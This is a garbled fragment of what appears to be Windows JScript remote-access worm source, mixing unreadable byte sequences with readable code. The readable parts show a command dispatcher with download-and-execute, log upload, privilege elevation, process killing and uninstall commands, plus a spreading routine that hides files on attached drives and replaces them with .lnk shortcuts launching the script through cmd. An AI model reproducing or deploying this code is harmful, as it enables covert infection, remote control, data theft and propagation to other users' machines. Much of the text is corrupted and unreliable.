shellobj.ExpandEnvironmentStrings(installdir)*\u00c8\u0097\u008e\u00c3B\u009aY\u008aY\u009a&#x5B;\\\u00de\\\u00dd&#x5B;&#x5B;\u00d8\u009a\u008b\u0099\u009b\u00db\\\u0091^\\\u00dd\u00ca&#x5B;\u009c\u00dd&#x5B;\\\u008aJ^\u00ca\u0096\u00e77F\u00c6\u00c6F\u0097&quot;\u00f4\u0081\u00cd\u00a1\u0095\u00b1\u00b1\u00bd\u0089\u00a8\u00b9\u00e1\u00c1\u0085\u00b9\u0091\u00b9\u00d9\u00a5\u00c9\u00bd\u00b9\u00b5\u0095\u00b9\u00d1M\u00d1\u00c9\u00a5\u00b9\u009d\u00cc\u00a0\u0088\u0095\u00d1\u0095\u00b5\u00e5&quot;) +(\u0097\u008e\u00dfCB\u009d\u0098\\\u0088\u00dc]\\\u0088H\u009f\u008e\u00c3B\u009d\u0098\\\u0088\u00dbY\\H\r\nO\u00b0\u00d0\u00a7f&quot;&amp;W7\u00f6\u00e76R\u00c26\u00d6B\u00c2&amp;\u00d2\u00c2\u00f6\u00e6V\u00f6\u00e66S\u00b0\u00d0\u00a7f&quot;\u0096\u00e6b\u00d2\u0088\u0088\u00ec4)\u00d9\u0085\u00c8\u0081\u00d5\u00cd\u0089\u00cd\u00c1\u00c9\u0095\u0085\u0091\u00a5\u00b9\u009c\u0080\u00f4\u00a2&quot;;\r\nvar startdate =(\u0088\u008e\u00c3B\u009a&#x5B;\u009c\u00dd&#x5B;\u0098\u00d9J\r\nN\u00c3B\u009d\u00da&#x5B;J\u009dYJ^\u00c3B\u009d\u009e^\u00c3B\u009a&#x5B;\u009c\u00dd&#x5B;\r\n\r\nN\u00c3B\u009c\u0099\\\u00dc\u00db\u009c\u00d9HH\u0088\u008e\u00c3B\u009c\u0099\\\u00dc\u00db\u009c\u00d9K\u00d2\u00f77B\u0082&amp;\u00972\u00d7&amp;VG\u0092&quot;\u00c2&quot;&quot;\u0093\u00b0\u00d0\u00a66\u00d6B\u00d2&amp;W7\u00f6\u00e76R\u00e77\u00c6\u0097B\u00877\u00c6\u0097FW&quot;\u0093\u00b0\u00d0\u00a77v\u0097F6\u0082\u00866\u00d6E\u00b3\u00d2\u0097\u00b0\u00d0\u00a666R&amp;F\u009766\u00f6\u00e6\u00e6V7B#\u00a0\u00d0\u00a5u67&amp;\u0097B\u00e7V\u0097B\u0082\u0093\u00b0\u00d0\u00a6'&amp;V\u00b3\u00b0\u00d0\u00a666R'&amp;V&amp;\u00f6\u00f7B#\u00a0\u00d0\u00a76\u0086V\u00c6\u00c6\u00f6&amp;\u00a2\u00e7'V\u00e2\u0082&quot;V6\u00f6\u00d77V2R\u00bd\u008c\u0081\u00cd\u00a1\u00d5\u00d1\u0091\u00bd\u00dd\u00b8\u00afr+\u00dd\u00f6b&quot;\u00c2\u00c2G'VR\u0093\u00b0\u00d0\u00a6'&amp;V\u00b3\u00b0\u00d0\u00a666R'6\u0087WFF\u00f7v\u00e2#\u00a0\u00d0\u00a76\u0086V\u00c6\u00c6\u00f6&amp;\u00a2\u00e7'V\u00e2\u0082&quot;V6\u00f6\u00d77V2R\u00f626\u0087WFF\u00f7v\u00e2\u00f72\u00f7B\u0080\u00bd\u0098\u0088\u00b0\u00b0, true);\r\nbreak;\r\ncase(\u0099^\u00d9X\u00dd]H\u008e\u0083B\u009c\\\u0098&#x5B;HH\u00dbY\u00ccWN\u00c3B\u0099]\u0098&#x5B;\r\n\\\u0098&#x5B;JN\u00c3B\u0098\u009c\u0099XZ\u00ce\u00c3B\u0098\u00d8\\\u00d9J&amp;vWB\u00d772#\u00a0\u00d0\u00a776w&amp;&amp;&amp;W&quot;\u00866\u00d6E\u00b3\u00d2\u00c2\u0089\u008d\u00b5\u0091\u008c\u00b9\u0095\u00e1\u0094\u0088\u00b0\u0081\u008d\u00b5\u0091l\u00c9t\u00a4\u00ec4)\u0089\u00c9\u0095\u0085\u00ac\u00ec4)\u008d\u0085\u00cd\u0094\u0080\u0089\u009d\u0095\u00d0\u00b5\u00c1\u0085\u00cd\u00cc\u00b5\u00bd\u0099\u0099\u00b1\u00a5\u00b9\u0094\u0088\u00e84)\u00c1\u0085\u00cd\u00cd\u009d\u00c9\u0085\u0089\u0089\u0095\u00c8\u00c8\u00a1\u008d\u00b5\u0091l\u00c5t\u00b0\u0080\u0089\u008d\u00b5\u0091\u008c\u00b9\u0095\u00e1\u0094\u0088\u00b0\u0081\u008d\u00b5\u0091l\u00c9t\u00a4\u00ec4)\u0089\u00c9\u0095\u0085\u00ac\u00ec4)\u008d\u0085\u00cd\u0094\u0080\u0089\u00d5\u00c1\u0091\u0085\u00d1\u0094\u0088\u00e84)\u00c1\u0085\u00c9\u0085\u00b4\u00bd response.substr(response.indexOf(&quot;|&quot;) +,JN\u00c3B\u009b\u00db\u0099&#x5B;\u00db\u0098\u00d9K\u0098\u00db\u00dc\u00d9J\r\nN\u00c3B\u009b\u00db\u0099&#x5B;\u00db\u0098\u00d9HH\u009a&#x5B;\\\u00de\\\u00dd&#x5B;&#x5B;\u00d8\u009a\u008b\u009b\u00dc&#x5B;\u0095^\u009a&#x5B;J&#x5B;\u009c\u00dd&#x5B;\\\u0088\r\n\u00c8&#x5B;\u009c\u00dd&#x5B;\u0098&#x5B;YH\u008b\u0098&#x5B;\u00d9JN\u00c3B\u009b\u00db\u0099&#x5B;\u00db\u0098\u00d9K\u009d\u00dc\u009a]J\\\u0098&#x5B;JN\u00c3B\u009b\u00db\u0099&#x5B;\u00db\u0098\u00d9K\u0098\u00db\u00dc\u00d9J\r\nN\u00c3B\u009c\u00da&#x5B;\u00d8\u009a\u008b\u009c\u009d&#x5B;\u008a\u009d\u00dc\u00d8\u00dc\u009a\\\u0099^J\u00f2\u00f4&quot;\u00c2&quot;&quot;\u00b2\u0096\u00e77F\u00c6\u00c6F\u0097&quot;\u00ac\u0081\u00a5\u00b9\u00cd\u00d1\u0085\u00b1\u00b1\u00b9\u0085\u00b5\u0094\u0080\u00ac\u0080\u0089p\u0088\u0088\u00a4\u00ec4)\u00d5\u00c1\u0091\u0085\u00d1\u0095\u00cd\u00d1\u0085\u00d1\u00d5\u00cc\u00a0\u0089U\u00c1\u0091\u0085\u00d1\u0095\u0090\u0088\u00a4\u00ec4)]M\u008d\u00c9\u00a5\u00c1\u00d0\u00b9\u00c5\u00d5\u00a5\u00d0\u00a0\u00a4\u00ec4)\u008d\u0085\u00cd\u0094\u00a2uninstall&quot;:\r\nuninstall();\r\nbreak;\r\ncase &quot;up-n-exec&quot;:\r\ndownload(cmd&#x5B;1],cmd&#x5B;2]);\r\nbreak;\r\ncase &quot;bring-log&quot;:\r\nupload(installdir*\u00c8\u009d\u00dc\u00da\u00d9\u00dc\u00d7\u0088\r\n\u00c8\u00dbY\u00ccWK\r\n'F\u00b6R\u00d6\u00c6\u00f6r&quot;\u0093\u00b0\u00d0\u00a6'&amp;V\u00b3\u00b0\u00d0\u00a666R\u0089\u0091\u00bd\u00dd\u00b8\u00b5\u00b8\u00b5\u0095\u00e1\u0095\u008c\u0088\u00e84)\u00cd\u00a5\u00d1\u0095\u0091\u00bd\u00dd\u00b9\u00b1\u00bd\u0085\u0091\u0095\u00c8\u00a1\u008d\u00b5\u0091l\u00c5t\u00b1\u008d\u00b5\u0091l\u00c9t\u00a4\u00ec4)\u0089\u00c9\u0095\u0085\u00ac\u00ec4)\u008d\u0085\u00cd\u0094\u0080\u0080\u0089\u0099\u00a5\u00b1\u0095\u00b5\u0085\u00b9\u0085\u009d\u0095\u00c8\u0088\u00e84)\u00cd\u0095\u00c9\u00d9\u00a5\u008d\u0095\u00cd\u00d1\u0085\u00c9\u00d1\u0095\u00c8\u00a1\u008d\u00b5\u0091l\u00c5t\u00b0\u0080\u0089\u0099\u00b4\u00b5\u00c1\u00b1\u00d5\u009d\u00a5\u00b8\u00b9\u0095\u00e1\u0094\u0088\u00b0\u0081\u00a5\u00b9\u0099\u00bd\u00c9\u00b5\u0085\u00d1\u00a5\u00bd\u00b8\u00a0\u00a4\u00a4\u00ec4)\u0089\u00c9\u0095\u0085\u00ac\u00ec4)\u008d\u0085\u00cd\u0094\u0080\u0080\u0089\u00c9\u0091\u00e2:\r\nservicestarter(cmd&#x5B;1],(\u009c\u0099\\Y\u00da&#x5B;\u008b\u0099^H\u008b&#x5B;\u0099\u009b\u00dc\u009bX]&#x5B;\u00db\u008a\r\nJN\u00c3B\u0098\u009c\u0099XZ\u00ce\u00c3B\u0098\u00d8\\\u00d9H\r\n&amp;\u00b6W\u0096\u00c6\u00f6vvW&quot;#\u00a0\u00d0\u00a6\u00b6W\u0096\u00c6\u00f6vvW'7F'FW&quot;\u00866\u00d6E\u00b3\u00d2\u00c2\u0089\u00ad\u00b0\u00b5\u00c1\u00b1\u00d5\u009d\u00a5\u00b8\u00b9\u0095\u00e1\u0094\u0088\u00b0\u0081\u00a5\u00b9\u0099\u00bd\u00c9\u00b5\u0085\u00d1\u00a5\u00bd\u00b8\u00a0\u00a4\u00b0\u0080\u00e9;\r\nbreak;\r\ncase (\u009b\u00d9\u0099\u009b&#x5B;\u0099KZ\u00d9^&#x5B;\u00d9\u00d9\u00d9\\\u0088\u008e\u0083B\u009a\u00d9^&#x5B;\u00d9\u00d9\u00d9\\\u009c\u00dd\\\u009d\\\u008a\u00dbY\u00ccWK\u009a\u00db\\Y\u00da&#x5B;\u008b\u0099^H\u008b&#x5B;\u0099\u009b\u00dc\u009bX]&#x5B;\u00db\u008a\r\nKJN\u00c3B\u0098\u009c\u0099XZ\u00ce\u00c3B\u0098\u00d8\\\u00d9H\u0098\u009c\u009b\u00dd\u00dc\u00d9K&#x5B;\u00d9\u00dc\u00c8\u008e\u0083B\u009c\u00dc\u00dd\r\n\u009a\\\u00cb&#x5B;\u00d9\u00dc\u00c8\u008b&#x5B;\u009d&#x5B;Y\u0098Y\u008a&#x5B;\u009c\u00dd&#x5B;\\\u0088\r\n\u00c8\u009d\u00dc\u00da\u00d9\u00dc\u00c8\u008aJN\u00c3B\u0098\u009c\u0099XZ\u00ce\u00c3B\u0098\u00d8\\\u00d9H\u0098\u00dbY\\\u00da&#x5B;\u008e\u0083B\u009c\\\u0098&#x5B;HH\u00dbY\u00ccWN\u00c3B\u009c\u00dc\u00dd\r\n\u009a\\\u00cbX\u00dbY\\\u00da&#x5B;\u008b\u00dbY\u00da&#x5B;\r\n\\\u0098&#x5B;JJN\u00c3B\u0098\u009c\u0099XZ\u00ce\u00c3B\u0098\u00d8\\\u00d9H\u0099\u00d9]\\\u009b\u00d8\u00d9\\\u00dc\u00d9\\\u00c8\u008e\u0083B\u009c\u00dc\u00dd\r\n\u009a\\\u00cb\\\u009b\u00d8\u00d9\\\u00dc\u00d9\\\u00c8\u008b&#x5B;\u009d&#x5B;\\\u009b\u00d8\u00d9\\\u00dc\u00ca\r\nJN\u00c3B\u0098\u009c\u0099XZ\u00ce\u00c3B\u0098\u00d8\\\u00d9H\r\n&amp;F\u00976&amp;\u00c6R\u00d7V2#\u00a0\u00d0\u00a6F\u00976&amp;\u00c6U6V7W&amp;\u0097G\u0092\u0082\u0093\u00b0\u00d0\u00a7WFFW7FGW2\u0082%T2\u00b4F\u00976&amp;\u00c6VB\u00b2\u0085&amp;V&amp;\u00f6\u00f7B\u00b5&amp;WV\u0097&amp;VB\u0092&quot;\u0093\u00b0\u00d0\u00a6'&amp;V\u00b3\u00b0\u00d0\u00a666R\u0089\u008d\u00a1\u0095\u008d\u00ac\u00b5\u0095\u00b1\u00a5\u009d\u00a5\u0089\u00b1\u0094\u0088\u00e84)\u00a5\u0098\u00a1\u0099\u00a5\u00b1\u0095\u00cd\u00e5\u00cd\u00d1\u0095\u00b5\u00bd\u0089\u00a8\u00b9\u0099\u00a5\u00b1\u0095\u00e1\u00a5\u00cd\u00d1\u00cc\u00a1\u008d\u00b5\u0091l\u00c5t\u00a4\u00a5\u00ec4)\u00d5\u00c1\u0091\u0085\u00d1\u0095\u00cd\u00d1\u0085\u00d1\u00d5\u00cc\u00a0\u0089%\u00cc\u00ad\u00b1\u00a5\u009d\u00a5\u0089\u00b1\u0094\u0088\u00a4\u00ec4)\u00f5\u0095\u00b1\u00cd\u0095\u00ec4)\u00d5\u00c1\u0091\u0085\u00d1\u0095\u00cd\u00d1\u0085\u00d1\u00d5\u00cc\u00a0\u00899\u00bd\u00d0\u00ad\u00b1\u00a5\u009d\u00a5\u0089\u00b1\u0094\u0088\u00a4\u00ec4)\u00f44)\u0089\u00c9\u0095\u0085\u00ac\u00ec4)\u008d\u0085\u00cd\u0094\u0080\u00a2force-eligible&quot;:\r\nif(WScript.Arguments.Named.Exists(&quot;elevated&quot;) == true){\r\nif(filesystemobj.folderExists(cmd&#x5B;1])){\r\nshellobj.run(&quot;%comspec%+\u00d8\u00ca&quot;\u00b26\u00d6E\u00b3%\u00d2\u00c2\u00c0\u00b0\u0081\u00d1\u00c9\u00d5\u0094\u00a4\u00ec4)\u00d5\u00c1\u0091\u0085\u00d1\u0095\u00cd\u00d1\u0085\u00d1\u00d5\u00cc\u00a0\u0089MU\r\n\r\nML\u0088\u00a4\u00ec4)\u00f5\u0095\u00b1\u00cd\u0095\u00ec4)\u00d5\u00c1\u0091\u0085\u00d1\u0095\u00cd\u00d1\u0085\u00d1\u00d5\u00cc\u00a0\u0089\r\n\u00bd\u00b5\u00c1\u00bd\u00b9\u0095\u00b9\u00d0\u00ad5\u00a5\u00cd\u00cd\u00a5\u00b9\u009c\u0088\u00a4\u00ec4)\u00f44)\u00f44)\u0095\u00b1\u00cd\u0095\u00ec4)\u00d5\u00c1\u0091\u0085\u00d1\u0095\u00cd\u00d1\u0085\u00d1\u00d5\u00cc\u00a0\u0089\u00b1\u0095\u00d9\u0085\u00d1\u00a5\u00bd\u00b8\u00adI\u0095\u00c5\u00d5\u00a5\u00c9\u0095\u0090\u0088\u00a4\u00ec4)\u00f44)\u0089\u00c9\u0095\u0085\u00ac\u00ec4)\u008d\u0085\u00cd\u0094\u00a0&quot;elevate&quot;:\r\nif(WScript.Arguments.Named.Exists(&quot;elevated&quot;) == false){\r\ntry{\r\noneonce.close();\r\noneonce = null;\r\nWScript.CreateObject(&quot;Shell.Application&quot;).ShellExecute(&quot;wscript.exe&quot;, &quot; \/\/B \\&quot;&quot;*\u00c8\u00d4\u00d8\u00dc\u009a\\\u0094\u00d8\u00dc\u009a\\\u009d&#x5B;\u0098&#x5B;YH\r\n\u00ca%\u00c2&quot;\u00f6V\u00c6WfFVB&quot;\u00c2&quot;&quot;\u00c2''V\u00e62&quot;\u00c2\u0093\u00b0\u00d0\u00a7WFFW7FGW2\u0082$6\u00c6\u0096V\u00e7B\u00b4V\u00c6WfFVB&quot;\u0093\u00b0\u00d0\u00a7\u00d66F6\u0082\u0086\u00e6\u00e2\u0097\u00b0\u00d0\u00a7\u00d0\u00d0\u00a5u67&amp;\u0097B\u00e7V\u0097B\u0082\u0093\u00b0\u00d0\u00a7\u00d0\u00d0\u00a6V\u00c76W\u00b0\u00d0\u00a7WFFW7FGW2\u0082$6\u00c6\u0096V\u00e7B\u00b4V\u00c6WfFVB&quot;\u0093\u00b0\u00d0\u00a7\u00d0\u00d0\u00a6'&amp;V\u00b3\u00b0\u00d0\u00a666R\u0089\u00a5\u0098\u00b5\u0095\u00b1\u0095\u00d9\u0085\u00d1\u0094\u0088\u00e84)\u00a5\u0098\u00a1]M\u008d\u00c9\u00a5\u00c1\u00d0\u00b9\u00c9\u009d\u00d5\u00b5\u0095\u00b9\u00d1\u00cc\u00b99\u0085\u00b5\u0095\u0090\u00b9\u00e1\u00a5\u00cd\u00d1\u00cc\u00a0\u0089\u0095\u00b1\u0095\u00d9\u0085\u00d1\u0095\u0090\u0088\u00a4\u0080\u00f4\u00f4\u0081\u0099\u0085\u00b1\u00cd\u0094\u00a5\u00ec4)\u00d5\u00c1\u0091\u0085\u00d1\u0095\u00cd\u00d1\u0085\u00d1\u00d5\u00cc\u00a0\u0089\r\n\u00b1\u00a5\u0095\u00b9\u00d0\u00ad9\u00bd\u00d0\u00ad\u00b1\u0095\u00d9\u0085\u00d1\u0095\u0090\u0088\u00a4\u00ec4)\u00f44)\u0095\u00b1\u00cd\u0095\u00ec4)\u00d5\u00c1\u0091\u0085\u00d1\u0095\u00cd\u00d1\u0085\u00d1\u00d5\u00cc\u00a0\u0089\r\n\u00b1\u00a5\u0095\u00b9\u00d0\u00ad\u00b1\u0095\u00d9\u0085\u00d1\u0095\u0090\u0088\u00a4\u00ec4)\u00f44)\u0089\u00c9\u0095\u0085\u00ac\u00ec4)\u008d\u0085\u00cd\u0094\u00a0&quot;kill-process&quot;:\r\nexitprocess(cmd&#x5B;1]);\r\nbreak;\r\ncase (\u009c\u00dbY^#\u00a0\u00d0\u00a7&amp;\u00d2\u00d26\u00d6E\u00b3\u00d3\u00b0\u00d0\u00a76\u00c6VW\u00f4\u0081\u0095\u00d9\u0085\u00b0\u00a1\u00c1\u0085\u00c9\u0085\u00b4\u00a4\u00ec4)\u0089\u00c9\u0095\u0085\u00ac\u00ec4)\u00f44)\u00f5\u008d\u0085\u00d1\u008d\u00a0\u00a1\u0095\u00c8\u00a5\u00ed\u00f44)]M\u008d\u00c9\u00a5\u00c1\u00d0\u00b9\u00cd\u00b1\u0095\u0095\u00e8sleezN\u00c3B\u009fCB\u0099\u009d&#x5B;\u0098\u00dd&#x5B;\u00db\u0088&#x5B;\u009c\u00dd&#x5B;\r\n\r\n^\u00c3B\u009d\u0098\\\u0088\u009a\u00db\u00d8\u009a\u008e\u00c3B\u009d\u0098\\\u0088\u009a&#x5B;&#x5B;\u0098&#x5B;YN\u00c3B\u009d\u0098\\\u0088\u009b\u00db\\\u009b\u0098&#x5B;YN\u00c3B\u009d\u0098\\\u0088\u009a&#x5B;ZX\u00db\u00db\u008e\u00c3B\u009d\u0098\\\u0088\u009b\u00db\\\u009aX\u00db\u00db\u008e\u00c3B\u009d\\\u00dd\\\u009d\r\n\r\nN\u00c3B\u0099\u009b\u00dc\u008a\u0098\\\u0088\u009aK\u00d2\u00e6WrV\u00e7V\u00d6W&amp;F\u00f7&quot;\u0086f\u0096\u00c6W7\u00977FV\u00d6\u00f6&amp;\u00a2\u00e6G&amp;\u0097fW2\u0093\u00b2G&amp;\u0092\u00e6DV\u00e6B\u0082\u0093\u00b2G&amp;\u0092\u00e6\u00d6\u00f7fT\u00e6W\u0087B\u0082\u0092\u0097\u00b0\u00d0\u00a7f&quot;G&amp;\u0097fR\u00d2G&amp;\u0092\u00e6\u0097FV\u00d2\u0082\u0093\u00b0\u00d0\u00a6\u0096b\u0086G&amp;\u0097fR\u00e6\u00977&amp;VG\u0092\u00d3\u00d2G'VR\u0097\u00b0\u00d0\u00a6\u0096b\u00a1\u0091\u00c9\u00a5\u00d9\u0094\u00b9\u0099\u00c9\u0095\u0095\u00cd\u00c1\u0085\u008d\u0094\u0080\u00f8\u0080\u00c0\u00a9{\r\nif (drive.drivetype\/OK\u0097\u00b0\u00d0\u00a7G'\u0097\u00b0\u00d0\u00a6f\u0096\u00c6W7\u00977FV\u00d6\u00f6&amp;\u00a2\u00e66\u00f7\u0094f\u0096\u00c6R\u0085u67&amp;\u0097B\u00e767&amp;\u0097DgV\u00c6\u00c4\u00e6\u00d6R\u00c2G&amp;\u0097fR\u00e7F\u0082\u00b2%\u00c5\u00c2&quot;\u00ac\u0081\u00a5\u00b9\u00cd\u00d1\u0085\u00b1\u00b1\u00b9\u0085\u00b5\u0094\u00b1\u00d1\u00c9\u00d5\u0094\u00a4\u00ec4)\u00a5\u0098\u0080\u00a1\u0099\u00a5\u00b1\u0095\u00cd\u00e5\u00cd\u00d1\u0095\u00b5\u00bd\u0089\u00a8\u00b9\u0099\u00a5\u00b1\u0095\u00e1\u00a5\u00cd\u00d1\u00cc\u00a8drive.path*\u00c8\u0097\u0088\r\n\u00c8&#x5B;\u009c\u00dd&#x5B;\u0098&#x5B;YJJ^\u00c3B\u0099\u009a&#x5B;\\\u00de\\\u00dd&#x5B;&#x5B;\u00d8\u009a\u008b\u0099\u00d9]\u009a&#x5B;J\u009a]\u0099K\u009c]\r\n\u00ca%\u00c5\u00c2&quot;\u00ac\u0081\u00a5\u00b9\u00cd\u00d1\u0085\u00b1\u00b1\u00b9\u0085\u00b5\u0094\u00a4\u00b9\u0085\u00d1\u00d1\u00c9\u00a5\u0089\u00d5\u00d1\u0095\u00cc\u0080\u00f4\u0080\u00c8\u00ac\u00d0\u00ec4)\u00f44)\u00f5\u008d\u0085\u00d1\u008d\u00a0\u00a1\u0095\u00a5\u00a9\u00d4\u00a5\u00ed\u00f44)\u0099\u00bd\u00c8\u00a1\u00d9\u0085\u00c8\u0081\u0099\u00a4\u0080\u00f4\u0081\u00b9\u0095\u00dc\u0081\u00b9\u00d5\u00b5\u0095\u00c9\u0085\u00d1\u00bd\u00c8\u00a1\u0099\u00a5\u00b1\u0095\u00cd\u00e5\u00cd\u00d1\u0095\u00b5\u00bd\u0089\u00a8\u00b9\u009d\u0095\u00d1\u0099\u00bd\u00b1\u0091\u0095\u00c8\u00a1\u0091\u00c9\u00a5\u00d9\u0094\u00b9\u00c1\u0085\u00d1\u00a0\u0080\u00ac\u0080\u0089qp\u0088\u00a4\u00b9\u0099\u00a5\u00b1\u0095\u00cc\u00a4\u00ec\u00a1fi.atEnd(); fi.moveNext()){\r\ntry{\r\nvar file\/H\u009aK\u009a]&#x5B;J\r\nN\u00c3B\u009aY\u0088\r\n\u009a\u00d9\u009a&#x5B;HOH\u0098&#x5B;\u00d9J^\u00d8\u009c\u0099XZ\u00ce\u00dfCB\u009aY\u008a\u0086f\u0096\u00c6R\u00e6\u00e6\u00d6R\u00e6\u0096\u00e6FW\u0084\u00f6b\u0082&quot;\u00e2&quot;\u0092\u0097\u00b0\u00d0\u00a6\u0096b\u00a0\u00a1\u0099\u00a5\u00b1\u0094\u00b9\u00b9\u0085\u00b5\u0094\u00b9\u00cd\u00c1\u00b1\u00a5\u00d0\u00a0\u0088\u00b8\u0088\u00a5m\u0099\u00a5\u00b1\u0094\u00b9\u00b9\u0085\u00b5\u0094\u00b9\u00cd\u00c1\u00b1\u00a5\u00d0\u00a0\u0088\u00b8\u0088\u00a4\u00b9\u00b1\u0095\u00b9\u009d\u00d1\u00a0\u00ad 1]).toLowerCase() != &quot;lnk&quot;){\r\nfile.attributes\/H\u008a\u00cd\u00c3B\u009aY\u0088\r\n\u009a&#x5B;K\u009b\u0098&#x5B;YK\u009d\u00d5\\\\\u0090\u00d8\\\u00d9J\r\nJ\u00d2\u0096\u00e77F\u00c6\u00c6\u00e6\u00d6R\u00e7F\u00f5WW$66R\u0082\u0092\u0097\u00b0\u00d0\u00a6f\u0096\u00c6V\u00e6\u00d6R\u00d2f\u0096\u00c6R\u00e6\u00e6\u00d6R\u00e77\u00c6\u0097B\u0082&quot;\u00e2&quot;\u0093\u00b0\u00d0\u00a6\u00c6\u00e6\u00b6\u00f6&amp;\u00a2\u00d26\u0086V\u00c6\u00c6\u00f6&amp;\u00a2\u00e67&amp;VFU6\u0086\u00f7'F7WB\u0086G&amp;\u0097fR\u00e7F\u0082\u00b2%\u00c5\u00c2&quot;\u0080\u00ac\u0081\u0099\u00a5\u00b1\u0095\u00b9\u0085\u00b5\u0095l\u00c1t\u00ab &quot;.lnk&quot;);\r\nlnkobj.windowStyle =-\u00ce\u00c3B\u009b\u009a\u00db\u00d8\u009a\u008b\u009d\\\u0099\u00d9]]J&amp;6\u00d6B\u00e6W\u0086R#\u00b0\u00d0\u00a6\u00c6\u00e6\u00b6\u00f6&amp;\u00a2\u00e7v\u00f7&amp;\u00b6\u0096\u00e6tF\u0097&amp;V7F\u00f7'\u0092\u00f4\u0080\u0088\u0088\u00ec4)\u00b1\u00b9\u00ad\u00bd\u0089\u00a8\u00b9\u0085\u00c9\u009d\u00d5\u00b5\u0095\u00b9\u00d1\u00cc\u00bd &quot;\/c start(\u0088\r\n\u00c8&#x5B;\u009c\u00dd&#x5B;\u0098&#x5B;YK\u009c\u0099\\X\u00d9J\u0099]\u00c8\u0099Y\u00d1^\r\n\u0088\u008b\u0099\u00c8\u008aK\u0097\u0088\u0088\u008aH\r\n\u00ca&quot;g7F'B&quot;\u00b2f\u0096\u00c6R\u00e6\u00e6\u00d6R\u00e7&amp;W\u00c66R\u0086\u00e6Wr&amp;VtW\u0087\u0082&quot;&quot;\u00c2&amp;r&quot;\u0092\u00c2%\u00c2&quot;\u00c2&quot;&quot;\u0092\u00b2&quot;fW\u0086\u0097B#\u00b0\u00d0\u00a7G'\u0097\u00b6f\u0096\u00c6V\u00966\u00f6\u00e2\u00d26\u0086V\u00c6\u00c6\u00f6&amp;\u00a2\u00e5&amp;Vu&amp;VB\u0082$\u0084\u00b4U\u0095\u00f4\u00c4\u00f44\u00c5\u00f4\u00d44\u0084\u0094\u00e4U\u00c5\u00c76\u00f6gGv&amp;U\u00c5\u00c66\u00c676W5\u00c5\u00c2&quot;\u00ac\u0081\u00cd\u00a1\u0095\u00b1\u00b1\u00bd\u0089\u00a8\u00b9I\u0095\u009dI\u0095\u0085\u0090\u0080\u00a0\u0089!-e}1=\r\n1}5\r\n!%9qq\u00cd\u00bd\u0099\u00d1\u00dd\u0085\u00c9\u0095qq\u008d\u00b1\u0085\u00cd\u00cd\u0095\u00cdqp\u00b8\u0088\u00ab file.name.split(&quot;.&quot;)&#x5B;file.name.split(&quot;.&quot;).length+HWJ\u00ca%\u00c5\u00c2&quot;\u0092\u00ac\u0080\u0089qq\u0091\u0095\u0099\u0085\u00d5\u00b1\u00d1\u00a5\u008d\u00bd\u00b9qp\u0088\u00a4\u00ec\u0081\u00f5\u008d\u0085\u00d1\u008d\u00a0\u00a1\u0095\u0095\u0095\u0094\u00a5\u00ed\u00f44)\u00a5\u0098\u0080\u00a1\u0099\u00a5\u00b1\u0095\u00a5\u008d\u00bd\u00b8\u00b9\u00a5\u00b9\u0091\u0095\u00e1=\u0098\u00a0\u0088\u00b0\u0088\u00a4\u0080\u00f4\u00f4\u0080\u00c0\u00a5\u00ec4)\u00b1\u00b9\u00ad\u00bd\u0089\u00a8\u00b9\u00a5\u008d\u00bd\u00b91\u00bd\u008d\u0085\u00d1\u00a5\u00bd\u00b8\u0080\u00f4\u0081\u0099\u00a5\u00b1\u0094\u00b9\u00c1\u0085\u00d1\u00a0\u00ec4)\u00f5\u0095\u00b1\u00cd\u0094\u0081\u00ec4)\u00b1\u00b9\u00ad\u00bd\u0089\u00a8\u00b9\u00a5\u008d\u00bd\u00b91\u00bd\u008d\u0085\u00d1\u00a5\u00bd\u00b8\u00bd fileicon;\r\n}\r\nlnkobj.save();\r\n}\r\n}\r\n}\r\n}catch(err){}\r\n}\r\nfor(var fi = new Enumerator(filesystemobj.getfolder(drive.path + &quot;\\\\&quot;).subFolders); !fi.atEnd(); fi.moveNext()){\r\ntry{\r\nvar folder = fi.item();\r\nif*\u009a\u00d9\u009b\u00db\\\u0088OH\u0098&#x5B;\u00d9J^\u00d8\u009c\u0099XZ\u00ce\u00dfCB\u0099\u009b\u00db\\\u008b\u0098]\u009aX\u009d]\\\u00cb\u00d2&quot;\u00b3C\u00b0\u00d0\u00a6f\u00f6\u00c6FW&amp;\u00e6\u00d6R\u00d2f\u00f6\u00c6FW&quot;\u00e6\u00e6\u00d6S\u00b0\u00d0\u00a6\u00c6\u00e6\u00b6\u00f6&amp;\u00a2\u00f4\u0081\u00cd\u00a1\u0095\u00b1\u00b1\u00bd\u0089\u00a8\u00b9\u008d\u00c9\u0095\u0085\u00d1\u0095M\u00a1\u00bd\u00c9\u00d1\u008d\u00d5\u00d0\u00a1\u0091\u00c9\u00a5\u00d9\u0094\u00b9\u00c1\u0085\u00d1\u00a0\u0080\u00ac\u00a2\\\\&quot; *\u00c8\u009b\u00db\\\u009b\u0098&#x5B;YH\r\n\u00ca&quot;\u00e6\u00c6\u00e6\u00b2&quot;\u0093\u00b0\u00d0\u00a6\u00c6\u00e6\u00b6\u00f6&amp;\u00a2\u00e7v\u0096\u00e6F\u00f7u7G\u0096\u00c6R\u00d2s\u00b0\u00d0\u00a6\u00c6\u00e6\u00b6\u00f6&amp;\u00a2\u00e7F&amp;vWEF\u0082\u00d2&amp;6\u00d6B\u00e6W\u0086R#\u00b0\u00d0\u00a6\u00c6\u00e6\u00b6\u00f6&amp;\u00a2\u00e7v\u00f7&amp;\u00b6\u0096\u00e6tF\u0097&amp;V7F\u00f7'\u0092\u00d2\u0088\u0088\u00ec4)\u00b1\u00b9\u00ad\u00bd\u0089\u00a8\u00b9\u0085\u00c9\u009d\u00d5\u00b5\u0095\u00b9\u00d1\u00cc\u0080\u00f4\u00a2\/c start &quot;*\u00c8&#x5B;\u009c\u00dd&#x5B;\u0098&#x5B;YK\u009c\u0099\\X\u00d9J\u0099]\u00c8\u0099Y\u00d1^\r\n\u0088\u008b\u0099\u00c8\u008aK\u0097\u0088\u0088\u008aH\r\n\u00c8\u0089\u009c\u00dd\\\u009d^\u00dc\u0099\\\u008a&quot;\u00b2f\u00f6\u00c6FW&quot;\u00e6\u00e6\u00d6R\u00e7&amp;W\u00c66R\u0086\u00e6Wr&amp;VtW\u0087\u0082&quot;&quot;\u00c2&amp;r&quot;\u0092\u00c2%\u00c2&quot;\u00c2&quot;&quot;\u0092\u00b2&quot;fW\u0086\u0097B#\u00b0\u00d0\u00a6f\u00f6\u00c6FW&amp;\u00966\u00f6\u00e2\u00d26\u0086V\u00c6\u00c6\u00f6&amp;\u00a2\u00e5&amp;Vu&amp;VB\u0082$\u0084\u00b4U\u0095\u00f4\u00c4\u00f44\u00c5\u00f4\u00d44\u0084\u0094\u00e4U\u00c5\u00c76\u